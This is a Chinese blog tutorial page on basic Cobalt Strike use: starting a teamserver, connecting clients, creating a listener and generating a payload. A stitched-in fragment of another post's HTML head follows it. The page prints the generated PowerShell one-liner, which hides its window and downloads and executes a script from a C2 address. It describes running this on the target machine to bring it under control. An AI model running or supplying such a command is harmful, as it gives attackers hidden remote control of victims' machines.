create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">Cobalt Strike使用(一)</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-24 17:55:48</span>
<span class="mobile">2021-05-24 17:55:48</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2021-05-26 17:32:31</span>
<span class="mobile">2021-05-26 17:32:31</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/%E6%B8%97%E9%80%8F/">渗透</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/Cobalt-Strike/">-Cobalt Strike</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><h3 id="简介:"><a href="#简介:" class="headerlink" title="简介:"></a>简介:</h3><p> Cobalt Strike作为一款GUI的框架式渗透工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、exe\dll\java木马生成、office宏病毒生成、木马捆绑;钓鱼攻击包括:站点克隆、目标信息获取、java执行、浏览器自动攻击等等。</p>
<span id="more"></span>
<h3 id="运行环境:"><a href="#运行环境:" class="headerlink" title="运行环境:"></a>运行环境:</h3><p> Cobalt Strike4.3</p>
<p> 首先安装使用前需要安装java环境jre</p>
<p> 服务器:kali 或者 Debian会比较好,Ubuntu的话可能会有些端口占用的问题需要处理</p>
<p> 客户端:安装jre即可使用(跨平台)</p>
<h3 id="启动:"><a href="#启动:" class="headerlink" title="启动:"></a>启动:</h3><h4 id="1-创建服务器"><a href="#1-创建服务器" class="headerlink" title="1. 创建服务器"></a>1. 创建服务器</h4><p> <code>./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]</code></p>
<p> <host> is the (default) IP address of this Cobalt Strike team server<br> <password> is the shared password to connect to this server<br> [/path/to/c2.profile] is your Malleable C2 profile<br> [YYYY-MM-DD] is a kill date for Beacon payloads run from this server</password></host></p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210524214346922.png" class="" title="image-20210524214346922">
<h4 id="2-客户端连接"><a href="#2-客户端连接" class="headerlink" title="2. 客户端连接"></a>2. 客户端连接</h4><ul>
<li>linux启动方式</li>
</ul>
<p><code>./cobaltstrike</code></p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210524214809083.png" class="" title="image-20210524214809083">
<ul>
<li>Windows启动方式</li>
</ul>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525144617108.png" class="" title="image-20210525144617108">
<p> 设置好同一个server端IP之后客户端之间可以在Event Log窗口聊天通信</p>
<p> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525150508853.png" class="" title="image-20210525150508853"></p>
<h4 id="3-让目标连接上teamserver"><a href="#3-让目标连接上teamserver" class="headerlink" title="3. 让目标连接上teamserver"></a>3. 让目标连接上teamserver</h4><p>3.1. 设置监听器</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525151153511.png" class="" title="image-20210525151153511">
<p>3.2. 生成攻击载荷</p>
<p> 在这里选择给我们的监听器添加一个攻击载荷</p>
<p> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525151352591.png" class="" title="image-20210525151352591"></p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525152525524.png" class="" title="image-20210525152525524">
<p> 添加在和成功之后会有一个弹窗:我们保存这个弹窗中的powershell命令</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525152627340.png" class="" title="image-20210525152627340">
<p> <code>powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.8:80/b'))"</code></p>
<p> 我们可以看到这个powershell命令的作用是从连接处下载内容并以隐藏的方式执行</p>
<p>3.3. 在目标机上运行</p>
<p> 在目标机让命令行运行这段powershell命令可以看到目标机上线</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525154736503.png" class="" title="image-20210525154736503">
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> Cobalt Strike使用(一)</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-24 17:55:48</li>
<li>
<strong>更新于
:</strong> 2021-05-26 17:32:31
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/24/Cobalt-Strike使用(一)/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/Cobalt-Strike/">#-Cobalt Strike</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/25/Cobalt-Strike-%E4%BA%8C/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Cobalt Strike(二)</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/24/ARM%E6%B1%87%E7%BC%96%E7%AC%94%E8%AE%B0/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">ARM汇编笔记</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">Cobalt Strike使用(一)</div>
<ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8"><span class="nav-text">基本使用</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%AE%80%E4%BB%8B%EF%BC%9A"><span class="nav-text">简介:</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83%EF%BC%9A"><span class="nav-text">运行环境:</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%90%AF%E5%8A%A8%EF%BC%9A"><span class="nav-text">启动:</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#1-%E5%88%9B%E5%BB%BA%E6%9C%8D%E5%8A%A1%E5%99%A8"><span class="nav-text">1. 创建服务器</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#2-%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%BF%9E%E6%8E%A5"><span class="nav-text">2. 客户端连接</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#3-%E8%AE%A9%E7%9B%AE%E6%A0%87%E8%BF%9E%E6%8E%A5%E4%B8%8Ateamserver"><span class="nav-text">3. 让目标连接上teamserver</span></a></li></ol></li></ol></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/24/Cobalt-Strike使用(一)/index.html | HTML | unknown | 35,027 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/24/ocean-lotus样本分析/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="0x00样本简介 该样本是2018年5月份国内某安全厂商威胁情报系统捕获的一起针对中国及其他东亚地区国家政府、科研单位领域的攻击样本,该APT组织确认为APT-32(海莲花OceanLotus)。 此次攻击载体选用的是.doc后缀的rtf文件,该rtf文件通过利用漏洞CVE-2017-11882释放恶意文件到本地并加载执行。其释放文件利用了白加黑的组合加载手法逃避杀软的查杀,在运行">
<meta property="og:type" content="article">
<meta property="og:title" content="Ocean Lotus样本分析">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="0x00样本简介 该样本是2018年5月份国内某安全厂商威胁情报系统捕获的一起针对中国及其他东亚地区国家政府、科研单位领域的攻击样本,该APT组织确认为APT-32(海莲花OceanLotus)。 此次攻击载体选用的是.doc后缀的rtf文件,该rtf文件通过利用漏洞CVE-2017-11882释放恶意文件到本地并加载执行。其释放文件利用了白加黑的组合加载手法逃避杀软的查杀,在运行">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/1.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/2.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/3.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/4.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/5.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/6.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/7.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/8.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/9.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/10.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/11.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/11.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/12.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/13.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/14.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/14.1.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/15.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/16.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/17.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/18.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/19.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/20.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/21.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/22.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/23.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/24.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/25.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/26.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/27.png">
<meta property="article:published_time" content="2021-05-24T07:51:57.000Z">
<meta property="article:modified_time" content="2022-11-14T14:15:42.252Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="windows木马">
<meta property="article:tag" content="OceanLotus">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/1.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
Ocean Lotus样本分析 | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
